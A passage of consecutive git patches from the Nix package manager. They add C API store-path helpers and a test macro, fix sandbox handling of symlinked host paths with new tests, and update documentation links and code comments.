b/src/libstore-c/nix_api_store.h @@ -90,6 +90,14 @@ nix_err nix_store_get_uri(nix_c_context * context, Store * store, void * callbac */ StorePath * nix_store_parse_path(nix_c_context * context, Store * store, const char * path); +/** + * @brief Copy a StorePath + * + * @param[in] p the path to copy + * @return a new StorePath + */ +StorePath * nix_store_path_clone(const StorePath * p); + /** @brief Deallocate a StorePath * * Does not fail. From 876e70bc9afb15b5ee71d2f6b3090acca315f320 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Mon, 8 Apr 2024 13:07:36 +0200 Subject: [PATCH 0439/1251] tests/unit/libexpr/local.mk A proper build system would catch errors like this. --- tests/unit/libexpr/local.mk | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/tests/unit/libexpr/local.mk b/tests/unit/libexpr/local.mk index 8df1a5207..c59191db4 100644 --- a/tests/unit/libexpr/local.mk +++ b/tests/unit/libexpr/local.mk @@ -34,7 +34,7 @@ libexpr-tests_EXTRA_INCLUDES = \ libexpr-tests_CXXFLAGS += $(libexpr-tests_EXTRA_INCLUDES) libexpr-tests_LIBS = \ - libexpr-test-support libstore-test-support libutils-test-support \ + libexpr-test-support libstore-test-support libutil-test-support \ libexpr libexprc libfetchers libstore libstorec libutil libutilc libexpr-tests_LDFLAGS := -lrapidcheck $(GTEST_LIBS) -lgmock From a512f4eebcbfed5db8e8c48fd93d99201267df04 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Mon, 8 Apr 2024 13:13:02 +0200 Subject: [PATCH 0440/1251] test/libutil: Add OBSERVE_STRING macro Makes string callback easier to pass, without mistakes. --- tests/unit/libstore/nix_api_store.cc | 12 ++++------- .../libutil-support/tests/string_callback.cc | 9 +++++++++ .../libutil-support/tests/string_callback.hh | 12 +++++++++++ tests/unit/libutil/nix_api_util.cc | 20 ++++++++----------- 4 files changed, 33 insertions(+), 20 deletions(-) create mode 100644 tests/unit/libutil-support/tests/string_callback.cc create mode 100644 tests/unit/libutil-support/tests/string_callback.hh diff --git a/tests/unit/libstore/nix_api_store.cc b/tests/unit/libstore/nix_api_store.cc index a31d66a4c..7c6ec0780 100644 --- a/tests/unit/libstore/nix_api_store.cc +++ b/tests/unit/libstore/nix_api_store.cc @@ -4,14 +4,10 @@ #include "nix_api_store_internal.h" #include "tests/nix_api_store.hh" +#include "tests/string_callback.hh" namespace nixC { -void observe_string_cb(const char * start, unsigned int n, std::string * user_data) -{ - *user_data = std::string(start); -} - std::string PATH_SUFFIX = "/g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-name"; TEST_F(nix_api_util_context, nix_libstore_init) @@ -23,7 +19,7 @@ TEST_F(nix_api_util_context, nix_libstore_init) TEST_F(nix_api_store_test, nix_store_get_uri) { std::string str; - auto ret = nix_store_get_uri(ctx, store, (void *) observe_string_cb, &str); + auto ret = nix_store_get_uri(ctx, store, OBSERVE_STRING(str)); ASSERT_EQ(NIX_OK, ret); ASSERT_STREQ("local", str.c_str()); } @@ -56,7 +52,7 @@ TEST_F(nix_api_store_test, DoesNotCrashWhenContextIsNull) TEST_F(nix_api_store_test, get_version) { std::string str; - auto ret = nix_store_get_version(ctx, store, (void *) observe_string_cb, &str); + auto ret = nix_store_get_version(ctx, store, OBSERVE_STRING(str)); ASSERT_EQ(NIX_OK, ret); ASSERT_STREQ(PACKAGE_VERSION, str.c_str()); } @@ -69,7 +65,7 @@ TEST_F(nix_api_util_context, nix_store_open_dummy) ASSERT_STREQ("dummy", store->ptr->getUri().c_str()); std::string str; - nix_store_get_version(ctx, store, (void *) observe_string_cb, &str); + nix_store_get_version(ctx, store, OBSERVE_STRING(str)); ASSERT_STREQ("", str.c_str()); nix_store_free(store); diff --git a/tests/unit/libutil-support/tests/string_callback.cc b/tests/unit/libutil-support/tests/string_callback.cc new file mode 100644 index 000000000..28ac8b10c --- /dev/null +++ b/tests/unit/libutil-support/tests/string_callback.cc @@ -0,0 +1,9 @@ +#include "string_callback.hh" + +namespace nix::testing { + +void observe_string_cb(const char * start, unsigned int n, std::string * user_data) { + *user_data = std::string(start); +} + +} diff --git a/tests/unit/libutil-support/tests/string_callback.hh b/tests/unit/libutil-support/tests/string_callback.hh new file mode 100644 index 000000000..808fb707b --- /dev/null +++ b/tests/unit/libutil-support/tests/string_callback.hh @@ -0,0 +1,12 @@ +#pragma once +#include + +namespace nix::testing { + +void observe_string_cb(const char * start, unsigned int n, std::string * user_data); +inline void * observe_string_cb_data(std::string & out) { + return (void *) &out; +}; +#define OBSERVE_STRING(str) (void *)nix::testing::observe_string_cb, nix::testing::observe_string_cb_data(str) + +} diff --git a/tests/unit/libutil/nix_api_util.cc b/tests/unit/libutil/nix_api_util.cc index 09f3f3e05..d2999f55b 100644 --- a/tests/unit/libutil/nix_api_util.cc +++ b/tests/unit/libutil/nix_api_util.cc @@ -3,16 +3,12 @@ #include "nix_api_util.h" #include "nix_api_util_internal.h" #include "tests/nix_api_util.hh" +#include "tests/string_callback.hh" #include namespace nixC { -void observe_string_cb(const char * start, unsigned int n, std::string * user_data) -{ - *user_data = std::string(start); -} - TEST_F(nix_api_util_context, nix_context_error) { std::string err_msg_ref; @@ -62,10 +58,10 @@ TEST_F(nix_api_util_context, nix_setting_get) { ASSERT_EQ(ctx->last_err_code, NIX_OK); std::string setting_value; - nix_err result = nix_setting_get(ctx, "invalid-key", (void *) observe_string_cb, &setting_value); + nix_err result = nix_setting_get(ctx, "invalid-key", OBSERVE_STRING(setting_value)); ASSERT_EQ(result, NIX_ERR_KEY); - result = nix_setting_get(ctx, "setting-name", (void *) observe_string_cb, &setting_value); + result = nix_setting_get(ctx, "setting-name", OBSERVE_STRING(setting_value)); ASSERT_EQ(result, NIX_OK); ASSERT_STREQ("empty", setting_value.c_str()); } @@ -79,7 +75,7 @@ TEST_F(nix_api_util_context, nix_setting_set) ASSERT_EQ(result, NIX_OK); std::string setting_value; - result = nix_setting_get(ctx, "setting-name", (void *) observe_string_cb, &setting_value); + result = nix_setting_get(ctx, "setting-name", OBSERVE_STRING(setting_value)); ASSERT_EQ(result, NIX_OK); ASSERT_STREQ("new-value", setting_value.c_str()); } @@ -107,14 +103,14 @@ TEST_F(nix_api_util_context, nix_err_info_msg) std::string err_info; // no error - EXPECT_THROW(nix_err_info_msg(NULL, ctx, (void *) observe_string_cb, &err_info), nix::Error); + EXPECT_THROW(nix_err_info_msg(NULL, ctx, OBSERVE_STRING(err_info)), nix::Error); try { throw nix::Error("testing error"); } catch (...) { nix_context_error(ctx); } - nix_err_info_msg(nix_c_context_create(), ctx, (void *) observe_string_cb, &err_info); + nix_err_info_msg(nix_c_context_create(), ctx, OBSERVE_STRING(err_info)); ASSERT_STREQ("testing error", err_info.c_str()); } @@ -123,7 +119,7 @@ TEST_F(nix_api_util_context, nix_err_name) std::string err_name; // no error - EXPECT_THROW(nix_err_name(NULL, ctx, (void *) observe_string_cb, &err_name), nix::Error); + EXPECT_THROW(nix_err_name(NULL, ctx, OBSERVE_STRING(err_name)), nix::Error); std::string err_msg_ref; try { @@ -131,7 +127,7 @@ TEST_F(nix_api_util_context, nix_err_name) } catch (...) { nix_context_error(ctx); } - nix_err_name(nix_c_context_create(), ctx, (void *) observe_string_cb, &err_name); + nix_err_name(nix_c_context_create(), ctx, OBSERVE_STRING(err_name)); ASSERT_EQ(std::string(err_name), "nix::Error"); } From f2522d4ecdcd693a2f94cd118eb7fa509983a54e Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Mon, 8 Apr 2024 13:14:03 +0200 Subject: [PATCH 0441/1251] libexpr-c: Add nix_store_path_name --- src/libstore-c/nix_api_store.cc | 7 +++++++ src/libstore-c/nix_api_store.h | 9 +++++++++ tests/unit/libexpr/nix_api_expr.cc | 8 ++++++-- 3 files changed, 22 insertions(+), 2 deletions(-) diff --git a/src/libstore-c/nix_api_store.cc b/src/libstore-c/nix_api_store.cc index d044ba14f..511ba0fad 100644 --- a/src/libstore-c/nix_api_store.cc +++ b/src/libstore-c/nix_api_store.cc @@ -128,6 +128,13 @@ nix_err nix_store_realise( NIXC_CATCH_ERRS } +void nix_store_path_name(const StorePath *store_path, void * callback, void * user_data) +{ + std::string_view name = store_path->path.name(); + ((nix_get_string_callback) callback)(name.data(), name.size(), user_data); +} + + void nix_store_path_free(StorePath * sp) { delete sp; diff --git a/src/libstore-c/nix_api_store.h b/src/libstore-c/nix_api_store.h index ab86a81df..ca8996681 100644 --- a/src/libstore-c/nix_api_store.h +++ b/src/libstore-c/nix_api_store.h @@ -90,6 +90,15 @@ nix_err nix_store_get_uri(nix_c_context * context, Store * store, void * callbac */ StorePath * nix_store_parse_path(nix_c_context * context, Store * store, const char * path); +/** + * @brief Get the path name (e.g. "name" in /nix/store/...-name) + * + * @param[in] store_path the path to get the name from + * @param[in] callback called with the name + * @param[in] user_data arbitrary data, passed to the callback when it's called. + */ +void nix_store_path_name(const StorePath *store_path, void * callback, void * user_data); + /** * @brief Copy a StorePath * diff --git a/tests/unit/libexpr/nix_api_expr.cc b/tests/unit/libexpr/nix_api_expr.cc index fad078d0c..f5c66536d 100644 --- a/tests/unit/libexpr/nix_api_expr.cc +++ b/tests/unit/libexpr/nix_api_expr.cc @@ -6,6 +6,7 @@ #include "nix_api_value.h" #include "tests/nix_api_expr.hh" +#include "tests/string_callback.hh" #include "gmock/gmock.h" #include @@ -168,11 +169,14 @@ TEST_F(nix_api_expr_test, nix_expr_realise_context) EXPECT_THAT(s, testing::HasSubstr("a derivation path by itself:")); EXPECT_THAT(s, testing::EndsWith("-not-actually-built-yet.drv\n")); - std::vector names; + std::vector names; size_t n = nix_realised_string_get_store_path_count(r); for (size_t i = 0; i < n; ++i) { const StorePath * p = nix_realised_string_get_store_path(r, i); - names.push_back(p->path.name()); + ASSERT_NE(nullptr, p); + std::string name; + nix_store_path_name(p, OBSERVE_STRING(name)); + names.push_back(name); } std::sort(names.begin(), names.end()); ASSERT_EQ(3, names.size()); From acbb1523c1dc28043d6dab729db696485938f969 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Th=C3=A9ophane=20Hufschmitt?= Date: Fri, 12 Apr 2024 15:57:53 +0200 Subject: [PATCH 0442/1251] Fix the access of symlinks to host files in the sandbox https://github.com/NixOS/nix/pull/10456 fixed the addition of symlink store paths to the sandbox, but also made it so that the hardcoded sandbox paths (like `/etc/hosts`) were now bind-mounted without following the possible symlinks. This made these files unreadable if there were symlinks (because the sandbox would now contain a symlink to an unreachable file rather than the underlying file). In particular, this broke FOD derivations on NixOS as `/etc/hosts` is a symlink there. Fix that by canonicalizing all these hardcoded sandbox paths before adding them to the sandbox. --- src/libstore/build/local-derivation-goal.cc | 13 +++-- tests/functional/linux-sandbox.sh | 14 +++++- tests/functional/symlink-derivation.nix | 55 +++++++++++++++------ 3 files changed, 62 insertions(+), 20 deletions(-) diff --git a/src/libstore/build/local-derivation-goal.cc b/src/libstore/build/local-derivation-goal.cc index db12af810..c2af0b270 100644 --- a/src/libstore/build/local-derivation-goal.cc +++ b/src/libstore/build/local-derivation-goal.cc @@ -1823,11 +1823,18 @@ void LocalDerivationGoal::runChild() if (pathExists(path)) ss.push_back(path); - if (settings.caFile != "") - pathsInChroot.try_emplace("/etc/ssl/certs/ca-certificates.crt", settings.caFile, true); + if (settings.caFile != "" && pathExists(settings.caFile)) { + Path caFile = settings.caFile; + pathsInChroot.try_emplace("/etc/ssl/certs/ca-certificates.crt", canonPath(caFile, true), true); + } } - for (auto & i : ss) pathsInChroot.emplace(i, i); + for (auto & i : ss) { + // For backwards-compatibiliy, resolve all the symlinks in the + // chroot paths + auto canonicalPath = canonPath(i, true); + pathsInChroot.emplace(i, canonicalPath); + } /* Bind-mount all the directories from the "host" filesystem that we want in the chroot diff --git a/tests/functional/linux-sandbox.sh b/tests/functional/linux-sandbox.sh index 04209277b..880d56fca 100644 --- a/tests/functional/linux-sandbox.sh +++ b/tests/functional/linux-sandbox.sh @@ -60,7 +60,11 @@ testCert () { nocert=$TEST_ROOT/no-cert-file.pem cert=$TEST_ROOT/some-cert-file.pem +symlinkcert=$TEST_ROOT/symlink-cert-file.pem +symlinkDir=$TEST_ROOT/symlink-dir echo -n "CERT_CONTENT" > $cert +ln -s $cert $symlinkcert +ln -s $TEST_ROOT $symlinkDir # No cert in sandbox when not a fixed-output derivation testCert missing normal "$cert" @@ -74,5 +78,13 @@ testCert missing fixed-output "$nocert" # Cert in sandbox when ssl-cert-file is set to an existing file testCert present fixed-output "$cert" +# Cert in sandbox when ssl-cert-file is set to a symlink to an existing file +testCert present fixed-output "$symlinkcert" + # Symlinks should be added in the sandbox directly and not followed -nix-sandbox-build symlink-derivation.nix +nix-sandbox-build symlink-derivation.nix -A depends_on_symlink +nix-sandbox-build symlink-derivation.nix -A test_sandbox_paths \ + --option extra-sandbox-paths "/file=$cert" \ + --option extra-sandbox-paths "/dir=$TEST_ROOT" \ + --option extra-sandbox-paths "/symlinkDir=$symlinkDir" \ + --option extra-sandbox-paths "/symlink=$symlinkcert" diff --git a/tests/functional/symlink-derivation.nix b/tests/functional/symlink-derivation.nix index 17ba37424..e9a74cdce 100644 --- a/tests/functional/symlink-derivation.nix +++ b/tests/functional/symlink-derivation.nix @@ -15,22 +15,45 @@ let ''; }; in -mkDerivation { - name = "depends-on-symlink"; - buildCommand = '' - ( - set -x +{ + depends_on_symlink = mkDerivation { + name = "depends-on-symlink"; + buildCommand = '' + ( + set -x - # `foo_symlink` should be a symlink pointing to `foo_in_store` - [[ -L ${foo_symlink} ]] - [[ $(readlink ${foo_symlink}) == ${foo_in_store} ]] + # `foo_symlink` should be a symlink pointing to `foo_in_store` + [[ -L ${foo_symlink} ]] + [[ $(readlink ${foo_symlink}) == ${foo_in_store} ]] - # `symlink_to_not_in_store` should be a symlink pointing to `./.`, which - # is not available in the sandbox - [[ -L ${symlink_to_not_in_store} ]] - [[ $(readlink ${symlink_to_not_in_store}) == ${builtins.toString ./.} ]] - (! ls ${symlink_to_not_in_store}/) - ) - echo "Success!" > $out - ''; + # `symlink_to_not_in_store` should be a symlink pointing to `./.`, which + # is not available in the sandbox + [[ -L ${symlink_to_not_in_store} ]] + [[ $(readlink ${symlink_to_not_in_store}) == ${builtins.toString ./.} ]] + (! ls ${symlink_to_not_in_store}/) + + # Native paths + ) + echo "Success!" > $out + ''; + }; + + test_sandbox_paths = mkDerivation { + # Depends on the caller to set a bunch of `--sandbox-path` arguments + name = "test-sandbox-paths"; + buildCommand = '' + ( + set -x + [[ -f /file ]] + [[ -d /dir ]] + + # /symlink and /symlinkDir should be available as raw symlinks + # (pointing to files outside of the sandbox) + [[ -L /symlink ]] && [[ ! -e $(readlink /symlink) ]] + [[ -L /symlinkDir ]] && [[ ! -e $(readlink /symlinkDir) ]] + ) + + touch $out + ''; + }; } From cef677ddbcad420220474935b660c147718a3a7c Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Th=C3=A9ophane=20Hufschmitt?= Date: Fri, 12 Apr 2024 16:10:22 +0200 Subject: [PATCH 0443/1251] Test the inclusion of transitive symlinks in the sandbox --- tests/functional/linux-sandbox.sh | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/tests/functional/linux-sandbox.sh b/tests/functional/linux-sandbox.sh index 880d56fca..e553791d9 100644 --- a/tests/functional/linux-sandbox.sh +++ b/tests/functional/linux-sandbox.sh @@ -61,9 +61,11 @@ testCert () { nocert=$TEST_ROOT/no-cert-file.pem cert=$TEST_ROOT/some-cert-file.pem symlinkcert=$TEST_ROOT/symlink-cert-file.pem +transitivesymlinkcert=$TEST_ROOT/transitive-symlink-cert-file.pem symlinkDir=$TEST_ROOT/symlink-dir echo -n "CERT_CONTENT" > $cert ln -s $cert $symlinkcert +ln -s $symlinkcert $transitivesymlinkcert ln -s $TEST_ROOT $symlinkDir # No cert in sandbox when not a fixed-output derivation @@ -78,8 +80,9 @@ testCert missing fixed-output "$nocert" # Cert in sandbox when ssl-cert-file is set to an existing file testCert present fixed-output "$cert" -# Cert in sandbox when ssl-cert-file is set to a symlink to an existing file +# Cert in sandbox when ssl-cert-file is set to a (potentially transitive) symlink to an existing file testCert present fixed-output "$symlinkcert" +testCert present fixed-output "$transitivesymlinkcert" # Symlinks should be added in the sandbox directly and not followed nix-sandbox-build symlink-derivation.nix -A depends_on_symlink From 13c2005e7df7effe29449556edbc41314d0af915 Mon Sep 17 00:00:00 2001 From: Valentin Gagarin Date: Fri, 12 Apr 2024 17:43:35 +0200 Subject: [PATCH 0444/1251] add intermediate variables and clarifying comments (#9274) * add intermediate variables and clarifying comments Co-authored-by: Alexander Groleau Co-authored-by: Robert Hensing --- src/libstore/build/local-derivation-goal.cc | 13 +++++++++++-- src/libstore/store-api.cc | 10 +++++----- 2 files changed, 16 insertions(+), 7 deletions(-) diff --git a/src/libstore/build/local-derivation-goal.cc b/src/libstore/build/local-derivation-goal.cc index db12af810..297435f90 100644 --- a/src/libstore/build/local-derivation-goal.cc +++ b/src/libstore/build/local-derivation-goal.cc @@ -2960,16 +2960,25 @@ bool LocalDerivationGoal::isReadDesc(int fd) StorePath LocalDerivationGoal::makeFallbackPath(OutputNameView outputName) { + // This is a bogus path type, constructed this way to ensure that it doesn't collide with any other store path + // See doc/manual/src/protocols/store-path.md for details + // TODO: We may want to separate the responsibilities of constructing the path fingerprint and of actually doing the hashing + auto pathType = "rewrite:" + std::string(drvPath.to_string()) + ":name:" + std::string(outputName); return worker.store.makeStorePath( - "rewrite:" + std::string(drvPath.to_string()) + ":name:" + std::string(outputName), + pathType, + // pass an all-zeroes hash Hash(HashAlgorithm::SHA256), outputPathName(drv->name, outputName)); } StorePath LocalDerivationGoal::makeFallbackPath(const StorePath & path) { + // This is a bogus path type, constructed this way to ensure that it doesn't collide with any other store path + // See doc/manual/src/protocols/store-path.md for details + auto pathType = "rewrite:" + std::string(drvPath.to_string()) + ":" + std::string(path.to_string()); return worker.store.makeStorePath( - "rewrite:" + std::string(drvPath.to_string()) + ":" + std::string(path.to_string()), + pathType, + // pass an all-zeroes hash Hash(HashAlgorithm::SHA256), path.name()); } diff --git a/src/libstore/store-api.cc b/src/libstore/store-api.cc index 77005870a..79beeebbd 100644 --- a/src/libstore/store-api.cc +++ b/src/libstore/store-api.cc @@ -131,12 +131,12 @@ StorePath StoreDirConfig::makeFixedOutputPath(std::string_view name, const Fixed throw Error("fixed output derivation '%s' is not allowed to refer to other store paths.\nYou may need to use the 'unsafeDiscardReferences' derivation attribute, see the manual for more details.", name); } - return makeStorePath("output:out", - hashString(HashAlgorithm::SHA256, - "fixed:out:" + // make a unique digest based on the parameters for creating this store object + auto payload = "fixed:out:" + makeFileIngestionPrefix(info.method) - + info.hash.to_string(HashFormat::Base16, true) + ":"), - name); + + info.hash.to_string(HashFormat::Base16, true) + ":"; + auto digest = hashString(HashAlgorithm::SHA256, payload); + return makeStorePath("output:out", digest, name); } } From 95ae12b6079db7a30e2686138209e3a363eb85c9 Mon Sep 17 00:00:00 2001 From: John Ericson Date: Fri, 12 Apr 2024 11:06:47 -0400 Subject: [PATCH 0445/1251] docs: Refer to the glossary with `@docroot@` instead of `..` These unweildy relative paths probably predate the `@docroot@` mechanism. --- doc/manual/src/architecture/architecture.md | 2 +- doc/manual/src/command-ref/nix-build.md | 2 +- doc/manual/src/command-ref/nix-copy-closure.md | 2 +- doc/manual/src/command-ref/nix-instantiate.md | 2 +- doc/manual/src/command-ref/nix-store/query.md | 8 ++++---- doc/manual/src/language/advanced-attributes.md | 2 +- doc/manual/src/language/operators.md | 4 ++-- doc/manual/src/language/string-interpolation.md | 6 +++--- doc/manual/src/language/values.md | 2 +- doc/manual/src/release-notes/rl-2.15.md | 2 +- src/libcmd/command.cc | 2 +- src/nix/nix.md | 2 +- src/nix/path-info.md | 2 +- src/nix/store-copy-log.md | 2 +- 14 files changed, 20 insertions(+), 20 deletions(-) diff --git a/doc/manual/src/architecture/architecture.md b/doc/manual/src/architecture/architecture.md index 2fec4ed20..867a9c992 100644 --- a/doc/manual/src/architecture/architecture.md +++ b/doc/manual/src/architecture/architecture.md @@ -69,7 +69,7 @@ It can also execute build plans to produce new data, which are made available to A build plan itself is a series of *build tasks*, together with their build inputs. > **Important** -> A build task in Nix is called [derivation](../glossary.md#gloss-derivation). +> A build task in Nix is called [derivation](@docroot@/glossary.md#gloss-derivation). Each build task has a special build input executed as *build instructions* in order to perform the build. The result of a build task can be input to another build task. diff --git a/doc/manual/src/command-ref/nix-build.md b/doc/manual/src/command-ref/nix-build.md index b548edf82..e4223b542 100644 --- a/doc/manual/src/command-ref/nix-build.md +++ b/doc/manual/src/command-ref/nix-build.md @@ -41,7 +41,7 @@ expression to a low-level [store derivation]) and [`nix-store --realise`](@docroot@/command-ref/nix-store/realise.md) (to build the store derivation). -[store derivation]: ../glossary.md#gloss-store-derivation +[store derivation]: @docroot@/glossary.md#gloss-store-derivation > **Warning** > diff --git a/doc/manual/src/command-ref/nix-copy-closure.md b/doc/manual/src/command-ref/nix-copy-closure.md index fbf6828da..eb1693e1e 100644 --- a/doc/manual/src/command-ref/nix-copy-closure.md +++ b/doc/manual/src/command-ref/nix-copy-closure.md @@ -49,7 +49,7 @@ authentication, you can avoid typing the passphrase with `ssh-agent`. - `--include-outputs`\ Also copy the outputs of [store derivation]s included in the closure. - [store derivation]: ../glossary.md#gloss-store-derivation + [store derivation]: @docroot@/glossary.md#gloss-store-derivation - `--use-substitutes` / `-s`\ Attempt to download missing paths on the target machine using Nix’s diff --git a/doc/manual/src/command-ref/nix-instantiate.md b/doc/manual/src/command-ref/nix-instantiate.md index 479c9abcf..dffbb2d70 100644 --- a/doc/manual/src/command-ref/nix-instantiate.md +++ b/doc/manual/src/command-ref/nix-instantiate.md @@ -23,7 +23,7 @@ It evaluates the Nix expressions in each of *files* (which defaults to derivation, a list of derivations, or a set of derivations. The paths of the resulting store derivations are printed on standard output. -[store derivation]: ../glossary.md#gloss-store-derivation +[store derivation]: @docroot@/glossary.md#gloss-store-derivation If *files* is the character `-`, then a Nix expression will be read from standard input. diff --git a/doc/manual/src/command-ref/nix-store/query.md b/doc/manual/src/command-ref/nix-store/query.md index a158c76aa..0bcacfe0c 100644 --- a/doc/manual/src/command-ref/nix-store/query.md +++ b/doc/manual/src/command-ref/nix-store/query.md @@ -40,12 +40,12 @@ symlink. derivations *paths*. These are the paths that will be produced when the derivation is built. - [output paths]: ../../glossary.md#gloss-output-path + [output paths]: @docroot@/glossary.md#gloss-output-path - `--requisites`; `-R`\ Prints out the [closure] of the store path *paths*. - [closure]: ../../glossary.md#gloss-closure + [closure]: @docroot@/glossary.md#gloss-closure This query has one option: @@ -66,7 +66,7 @@ symlink. *paths*, that is, their immediate dependencies. (For *all* dependencies, use `--requisites`.) - [references]: ../../glossary.md#gloss-reference + [references]: @docroot@/glossary.md#gloss-reference - `--referrers`\ Prints the set of *referrers* of the store paths *paths*, that is, @@ -90,7 +90,7 @@ symlink. example when *paths* were substituted from a binary cache. Use `--valid-derivers` instead to obtain valid paths only. - [deriver]: ../../glossary.md#gloss-deriver + [deriver]: @docroot@/glossary.md#gloss-deriver - `--valid-derivers`\ Prints a set of derivation files (`.drv`) which are supposed produce diff --git a/doc/manual/src/language/advanced-attributes.md b/doc/manual/src/language/advanced-attributes.md index 16dcc6ba9..1fcc5a95b 100644 --- a/doc/manual/src/language/advanced-attributes.md +++ b/doc/manual/src/language/advanced-attributes.md @@ -303,7 +303,7 @@ Derivations can declare some infrequently used optional attributes. [`disallowedReferences`](#adv-attr-disallowedReferences) and [`disallowedRequisites`](#adv-attr-disallowedRequisites), the following attributes are available: - - `maxSize` defines the maximum size of the resulting [store object](../glossary.md#gloss-store-object). + - `maxSize` defines the maximum size of the resulting [store object](@docroot@/glossary.md#gloss-store-object). - `maxClosureSize` defines the maximum size of the output's closure. - `ignoreSelfRefs` controls whether self-references should be considered when checking for allowed references/requisites. diff --git a/doc/manual/src/language/operators.md b/doc/manual/src/language/operators.md index 6fd66864b..698fed47e 100644 --- a/doc/manual/src/language/operators.md +++ b/doc/manual/src/language/operators.md @@ -128,8 +128,8 @@ The result is a string. > The file or directory at *path* must exist and is copied to the [store]. > The path appears in the result as the corresponding [store path]. -[store path]: ../glossary.md#gloss-store-path -[store]: ../glossary.md#gloss-store +[store path]: @docroot@/glossary.md#gloss-store-path +[store]: @docroot@/glossary.md#gloss-store [String and path concatenation]: #string-and-path-concatenation diff --git a/doc/manual/src/language/string-interpolation.md b/doc/manual/src/language/string-interpolation.md index 7d81c2020..1f8fecca8 100644 --- a/doc/manual/src/language/string-interpolation.md +++ b/doc/manual/src/language/string-interpolation.md @@ -20,7 +20,7 @@ Rather than writing (where `freetype` is a [derivation]), you can instead write -[derivation]: ../glossary.md#gloss-derivation +[derivation]: @docroot@/glossary.md#gloss-derivation ```nix "--with-freetype2-library=${freetype}/lib" @@ -107,9 +107,9 @@ An expression that is interpolated must evaluate to one of the following: A string interpolates to itself. -A path in an interpolated expression is first copied into the Nix store, and the resulting string is the [store path] of the newly created [store object](../glossary.md#gloss-store-object). +A path in an interpolated expression is first copied into the Nix store, and the resulting string is the [store path] of the newly created [store object](@docroot@/glossary.md#gloss-store-object). -[store path]: ../glossary.md#gloss-store-path +[store path]: @docroot@/glossary.md#gloss-store-path > **Example** > diff --git a/doc/manual/src/language/values.md b/doc/manual/src/language/values.md index 74ffc7070..568542c0b 100644 --- a/doc/manual/src/language/values.md +++ b/doc/manual/src/language/values.md @@ -113,7 +113,7 @@ For example, assume you used a file path in an interpolated string during a `nix repl` session. Later in the same session, after having changed the file contents, evaluating the interpolated string with the file path again might not return a new [store path], since Nix might not re-read the file contents. - [store path]: ../glossary.md#gloss-store-path + [store path]: @docroot@/glossary.md#gloss-store-path Paths can include [string interpolation] and can themselves be [interpolated in other expressions]. diff --git a/doc/manual/src/release-notes/rl-2.15.md b/doc/manual/src/release-notes/rl-2.15.md index 133121999..e7e52631b 100644 --- a/doc/manual/src/release-notes/rl-2.15.md +++ b/doc/manual/src/release-notes/rl-2.15.md @@ -11,7 +11,7 @@ As the choice of hash formats is no longer binary, the `--base16` flag is also added to explicitly specify the Base16 format, which is still the default. -* The special handling of an [installable](../command-ref/new-cli/nix.md#installables) with `.drv` suffix being interpreted as all of the given [store derivation](../glossary.md#gloss-store-derivation)'s output paths is removed, and instead taken as the literal store path that it represents. +* The special handling of an [installable](../command-ref/new-cli/nix.md#installables) with `.drv` suffix being interpreted as all of the given [store derivation](@docroot@/glossary.md#gloss-store-derivation)'s output paths is removed, and instead taken as the literal store path that it represents. The new `^` syntax for store paths introduced in Nix 2.13 allows explicitly referencing output paths of a derivation. Using this is better and more clear than relying on the now-removed `.drv` special handling. diff --git a/src/libcmd/command.cc b/src/libcmd/command.cc index 369fa6004..220a90cf6 100644 --- a/src/libcmd/command.cc +++ b/src/libcmd/command.cc @@ -148,7 +148,7 @@ MixOperateOnOptions::MixOperateOnOptions() { addFlag({ .longName = "derivation", - .description = "Operate on the [store derivation](../../glossary.md#gloss-store-derivation) rather than its outputs.", + .description = "Operate on the [store derivation](@docroot@/glossary.md#gloss-store-derivation) rather than its outputs.", .category = installablesCategory, .handler = {&operateOn, OperateOn::Derivation}, }); diff --git a/src/nix/nix.md b/src/nix/nix.md index 749456014..4464bef37 100644 --- a/src/nix/nix.md +++ b/src/nix/nix.md @@ -229,7 +229,7 @@ operate are determined as follows: Note that a [store derivation] (given by its `.drv` file store path) doesn't have any attributes like `meta`, and thus this case doesn't apply to it. - [store derivation]: ../../glossary.md#gloss-store-derivation + [store derivation]: @docroot@/glossary.md#gloss-store-derivation * Otherwise, Nix will use all outputs of the derivation. diff --git a/src/nix/path-info.md b/src/nix/path-info.md index 4594854eb..789984559 100644 --- a/src/nix/path-info.md +++ b/src/nix/path-info.md @@ -70,7 +70,7 @@ R""( * Print the path of the [store derivation] produced by `nixpkgs#hello`: - [store derivation]: ../../glossary.md#gloss-store-derivation + [store derivation]: @docroot@/glossary.md#gloss-store-derivation ```console # nix path-info --derivation nixpkgs#hello diff --git a/src/nix/store-copy-log.md b/src/nix/store-copy-log.md index 0937250f2..61daa75c1 100644 --- a/src/nix/store-copy-log.md +++ b/src/nix/store-copy-log.md @@ -20,7 +20,7 @@ R""( * To copy the log for a specific [store derivation] via SSH: - [store derivation]: ../../glossary.md#gloss-store-derivation + [store derivation]: @docroot@/glossary.md#gloss-store-derivation ```console # nix store copy-log --to ssh-ng://machine /nix/store/ilgm50plpmcgjhcp33z6n4qbnpqfhxym-glibc-2.33-59.drv From 01bad63c720cb3d7280484f87f3ff9734b2b7117 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Jos=C3=A9=20Luis=20Lafuente?= Date: Fri, 12 Apr 2024 21:41:15 +0200 Subject: [PATCH 0446/1251] C API: Safer function pointer casting See https://github.com/NixOS/nix/pull/8699#discussion_r1554312181 Casting a function pointer to `void*` is undefined behavior in the C spec, since there are platforms with different sizes for these two kinds of pointers. A safe alternative might be `void (*callback)()` --- src/libexpr-c/nix_api_value.cc | 15 ++++++------- src/libstore-c/nix_api_store.cc | 18 ++++++++++++---- src/libstore-c/nix_api_store.h | 20 ++++++++++++++---- src/libutil-c/nix_api_util.cc | 21 +++++++++++++++---- src/libutil-c/nix_api_util.h | 19 +++++++++++++---- src/libutil-c/nix_api_util_internal.h | 3 ++- .../libutil-support/tests/string_callback.cc | 3 ++- .../libutil-support/tests/string_callback.hh | 9 ++++++-- 8 files changed, 79 insertions(+), 29 deletions(-) diff --git a/src/libexpr-c/nix_api_value.cc b/src/libexpr-c/nix_api_value.cc index fd1bfc165..87e25f9d9 100644 --- a/src/libexpr-c/nix_api_value.cc +++ b/src/libexpr-c/nix_api_value.cc @@ 